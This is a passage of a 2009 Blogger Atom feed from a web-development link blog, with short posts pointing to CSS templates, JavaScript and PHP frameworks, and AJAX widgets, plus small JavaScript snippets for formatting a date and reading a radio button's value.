<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8597215226185720321</id><updated>2012-02-16T01:53:26.567-08:00</updated><category term='Dojo'/><category term='Project Zero'/><category term='LAMP'/><category term='jQuery'/><category term='MySQL'/><category term='CSS'/><category term='HTACCESS'/><category term='CURL'/><category term='REST'/><category term='AJAX'/><category term='IBM sMash'/><category term='CAPTCHA'/><category term='XML'/><category term='Interview Questions'/><category term='Caching'/><category term='Security'/><category term='Zend'/><category term='XAMPP'/><category term='Error Handling'/><category term='API'/><category term='Session Handling'/><category term='Yahoo YUI'/><category term='Open Source'/><category term='PHP'/><category term='Drupal'/><category term='Fusion Chart'/><category term='Linux'/><category term='Sessions'/><category term='Google Map'/><category term='Flex'/><category term='XHTML'/><category term='Symfony'/><category term='Apache'/><category term='JSON'/><category term='JavaScript'/><category term='SVN'/><category term='WAMP'/><title type='text'>Open Source - The Web 2.0 Concepts</title><subtitle type='html'>PHP - AJAX - LINUX - APACHE - MYSQL - PROJECT ZERO - IBM WEBSPHERE SMASH</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>91</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-7333526181732510003</id><published>2009-11-16T00:14:00.000-08:00</published><updated>2009-11-16T00:15:27.467-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><title type='text'>How To Automate Optimization and Deployment Of Static Content</title><content type='html'>http://www.smashingmagazine.com/2009/07/19/how-to-automate-optimization-and-deployment-of-static-content/&lt;br /&gt;&lt;br /&gt;A lot of traffic between users and your site comes from the static content you’re using to set up the user interface, namely layout graphics, Stylesheets and Javascript files.&lt;br /&gt;&lt;br /&gt;This article shows a method to improve the providing of static content for a web platform. Further, it will show you a way to automate the deployment of these files, so you can deliver them with least effort but with maximum performance.&lt;br /&gt;&lt;br /&gt;This tutorial will take some time to set it up, but it’s going to save you hours of work in the future and will improve your page speed significantly.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-7333526181732510003?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/7333526181732510003/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/11/how-to-automate-optimization-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7333526181732510003'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7333526181732510003'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/11/how-to-automate-optimization-and.html' title='How To Automate Optimization and Deployment Of Static Content'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-4889578286647343380</id><published>2009-11-15T22:51:00.001-08:00</published><updated>2009-11-15T22:51:34.061-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><title type='text'>Nice and Free CSS Templates</title><content type='html'>This site contains free css templates for your website - Just copy and paste and there you have a stunning website !&lt;br /&gt;&lt;br /&gt;http://www.mycelly.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-4889578286647343380?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/4889578286647343380/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/11/nice-and-free-css-templates.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4889578286647343380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4889578286647343380'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/11/nice-and-free-css-templates.html' title='Nice and Free CSS Templates'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-9165851277967802643</id><published>2009-11-12T23:24:00.000-08:00</published><updated>2009-11-12T23:25:06.760-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><title type='text'>JavaScript Framework Matrix</title><content type='html'>http://matthiasschuetz.com/javascript-framework-matrix/en/&lt;br /&gt;&lt;br /&gt;JavaScript Framework Matrix shall give you an overview of popular JavaScript frameworks and their functions. There are various examples for the frameworks and every snippet contains links to the official documentation. The choice of a framework depends on many factors and can't be made of this document only. The matrix shall solely demonstrate the different API styles and functionalities of the JavaScript libraries.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-9165851277967802643?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/9165851277967802643/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/11/javascript-framework-matrix.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/9165851277967802643'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/9165851277967802643'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/11/javascript-framework-matrix.html' title='JavaScript Framework Matrix'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-1067453894848316612</id><published>2009-11-12T23:23:00.001-08:00</published><updated>2009-11-12T23:23:54.946-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>22 Open Source PHP Frameworks To Shorten Your Development Time</title><content type='html'>http://www.listelog.com/22-open-source-php-frameworks-to-shorten-your-development-time/&lt;br /&gt;&lt;br /&gt;PHP is a widely used programming language for web development. Although there are a lot of alternative programming languages for web development such as ASP and Ruby, but PHP is still the most popular among them.&lt;br /&gt;&lt;br /&gt;So, what makes PHP so popular? PHP is so popular because it is relatively easy to learn compare to other language. Furthermore, there are a lot of great tutorials for beginner to get started. Although there are a lot of resources for us, but coding a site from scratch is very tough. Luckily, there are a lot of reliable PHP Framework which can shorten the development time. These frameworks are supported by huge community and they are willing to help if you face any problems.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-1067453894848316612?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/1067453894848316612/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/11/22-open-source-php-frameworks-to.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1067453894848316612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1067453894848316612'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/11/22-open-source-php-frameworks-to.html' title='22 Open Source PHP Frameworks To Shorten Your Development Time'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2203799337459403176</id><published>2009-11-12T23:12:00.001-08:00</published><updated>2009-11-12T23:12:24.578-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><title type='text'>Google opens up its JavaScript development toolbox to all</title><content type='html'>http://arstechnica.com/open-source/news/2009/11/google-opens-up-its-javascript-development-toolbox-to-all.ars&lt;br /&gt;&lt;br /&gt;Google has opened the source code of the comprehensive JavaScript library that it uses in some of its popular web applications. The search giant has also opened the source of its JavaScript compression tool.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2203799337459403176?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2203799337459403176/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/11/google-opens-up-its-javascript.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2203799337459403176'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2203799337459403176'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/11/google-opens-up-its-javascript.html' title='Google opens up its JavaScript development toolbox to all'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-5330780289986749444</id><published>2009-11-12T23:03:00.001-08:00</published><updated>2009-11-12T23:05:11.308-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><title type='text'>SVG Web - http://code.google.com/p/svgweb/</title><content type='html'>http://code.google.com/p/svgweb/&lt;br /&gt;&lt;br /&gt;SVG Web is a JavaScript library which provides SVG support on many browsers, including Internet Explorer, Firefox, and Safari. Using the library plus native SVG support you can instantly target ~95% of the existing installed web base.&lt;br /&gt;&lt;br /&gt;Once dropped in you get partial support for SVG 1.1, SVG Animation (SMIL), Fonts, Video and Audio, DOM and style scripting through JavaScript, and more in about a 60K library. Your SVG content can be embedded directly into normal HTML 5 or through the OBJECT tag. If native SVG support is already present in the browser then that is used, though you can override this and have the SVG Web toolkit handle things instead. No downloads or plugins are necessary other than Flash which is used for the actual rendering, so it's very easy to use and incorporate into an existing web site.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-5330780289986749444?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/5330780289986749444/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/11/svg-web.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/5330780289986749444'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/5330780289986749444'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/11/svg-web.html' title='SVG Web - http://code.google.com/p/svgweb/'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-6847138692943873236</id><published>2009-10-14T03:42:00.000-07:00</published><updated>2009-10-14T03:43:06.430-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><title type='text'>Auto Format entered Date onKeyPress event</title><content type='html'>function getDate(elem){&lt;br /&gt; var elemVal = elem.value;&lt;br /&gt; var elemId = elem.id;&lt;br /&gt;&lt;br /&gt; switch(elemVal.length){&lt;br /&gt;  case 2:&lt;br /&gt;   elemVal = elemVal+"/";&lt;br /&gt;   break;&lt;br /&gt;  case 5:&lt;br /&gt;   elemVal = elemVal+"/";&lt;br /&gt;   break;&lt;br /&gt; }&lt;br /&gt; document.getElementById(elemId).value = elemVal;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-6847138692943873236?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/6847138692943873236/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/10/auto-format-entered-date-onkeypress.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6847138692943873236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6847138692943873236'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/10/auto-format-entered-date-onkeypress.html' title='Auto Format entered Date onKeyPress event'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-4501539362400553401</id><published>2009-09-24T23:18:00.000-07:00</published><updated>2009-09-24T23:19:21.740-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Yahoo YUI'/><title type='text'>Widget effects using YUI like scriptaculous does</title><content type='html'>http://blog.davglass.com/files/yui/effects/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-4501539362400553401?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/4501539362400553401/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/widget-effects-using-yui-like.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4501539362400553401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4501539362400553401'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/widget-effects-using-yui-like.html' title='Widget effects using YUI like scriptaculous does'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-3559523732407617894</id><published>2009-09-24T23:16:00.000-07:00</published><updated>2009-09-24T23:17:00.272-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='jQuery'/><title type='text'>50+ Amazing Jquery Examples</title><content type='html'>Many of us have been using a good deal of jQuery plugins lately. Below I have provided a list of the 50 favorite plugins many developers use. Some of these you may have already seen, others might be new to you.  This is just the first series , the second version will be coming soon, stay tuned and Enjoy!&lt;br /&gt;&lt;br /&gt;http://www.noupe.com/jquery/50-amazing-jquery-examples-part1.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-3559523732407617894?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/3559523732407617894/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/50-amazing-jquery-examples.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/3559523732407617894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/3559523732407617894'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/50-amazing-jquery-examples.html' title='50+ Amazing Jquery Examples'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-4906486356077834541</id><published>2009-09-24T23:14:00.000-07:00</published><updated>2009-09-24T23:15:23.680-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><title type='text'>BackBase Explorer - A effective Javascript Library</title><content type='html'>http://demo.backbase.com/explorer/#|examples/welcome.xml&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-4906486356077834541?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/4906486356077834541/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/backbase-explorer-effective-javascript.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4906486356077834541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4906486356077834541'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/backbase-explorer-effective-javascript.html' title='BackBase Explorer - A effective Javascript Library'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-8447415275455829534</id><published>2009-09-24T23:11:00.000-07:00</published><updated>2009-09-24T23:13:11.283-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><title type='text'>WebSnapr</title><content type='html'>websnapr lets you capture screenshots of (almost) any web page. Allow your visitors to instantly visualize any web page before clicking. Increase site traffic, click-through rate and site stickiness. &lt;br /&gt;&lt;br /&gt;http://www.websnapr.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-8447415275455829534?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/8447415275455829534/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/websnapr.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8447415275455829534'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8447415275455829534'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/websnapr.html' title='WebSnapr'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2771840470937998916</id><published>2009-09-24T23:08:00.000-07:00</published><updated>2009-09-24T23:10:45.269-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='XML'/><title type='text'>Free document translator</title><content type='html'>http://www.worldlingo.com/en/products_services/document_translator.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2771840470937998916?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2771840470937998916/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/free-document-translator.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2771840470937998916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2771840470937998916'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/free-document-translator.html' title='Free document translator'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-6851436154240498592</id><published>2009-09-24T23:07:00.000-07:00</published><updated>2009-09-24T23:08:55.925-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><title type='text'>How to get radio button value?</title><content type='html'>function get_radio_value(obj)&lt;br /&gt;{&lt;br /&gt; for (var i=0; i &lt; obj.length; i++){&lt;br /&gt;  if (obj[i].checked){&lt;br /&gt;    var rad_val = obj[i].value;&lt;br /&gt;    return rad_val;&lt;br /&gt;  }&lt;br /&gt;    }&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-6851436154240498592?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/6851436154240498592/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/how-to-get-radio-button-value.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6851436154240498592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6851436154240498592'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/how-to-get-radio-button-value.html' title='How to get radio button value?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-7198512401086237786</id><published>2009-09-14T03:10:00.000-07:00</published><updated>2009-09-14T03:14:29.193-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='AJAX'/><title type='text'>Looking for AJAX widgets?</title><content type='html'>Hey,&lt;br /&gt;&lt;br /&gt;r u looking for rich web application Ajax tools?&lt;br /&gt;&lt;br /&gt;Here is a link for you to enjoy Ajax gadgets to plug with your webapp.&lt;br /&gt;&lt;br /&gt;http://www.miniajax.com/&lt;br /&gt;&lt;br /&gt;Enjoy!! :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-7198512401086237786?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/7198512401086237786/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/looking-for-ajax-widgets.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7198512401086237786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7198512401086237786'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/looking-for-ajax-widgets.html' title='Looking for AJAX widgets?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-3911104151905838085</id><published>2009-09-14T03:06:00.000-07:00</published><updated>2009-09-14T03:10:34.348-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='AJAX'/><title type='text'>AutoCompleteList - Ajax based periodical search updater</title><content type='html'>If you used Facebook on a regularly basis, you’ve probably come across their cool autocomplete method of adding multiple recipients to messages. For those that haven’t seen it, here’s a pic:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://ajaxian.com/wp-content/images/rb_facebook.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 447px; height: 298px;" src="http://ajaxian.com/wp-content/images/rb_facebook.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Reference link:&lt;br /&gt;&lt;br /&gt;http://devthought.com/blog/projects-news/2008/01/textboxlist-fancy-facebook-like-dynamic-inputs/&lt;br /&gt;Demo: http://ajaxian.com/archives/facebook-style-input-box&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-3911104151905838085?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/3911104151905838085/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/autocompletelist-ajax-based-periodical.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/3911104151905838085'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/3911104151905838085'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/autocompletelist-ajax-based-periodical.html' title='AutoCompleteList - Ajax based periodical search 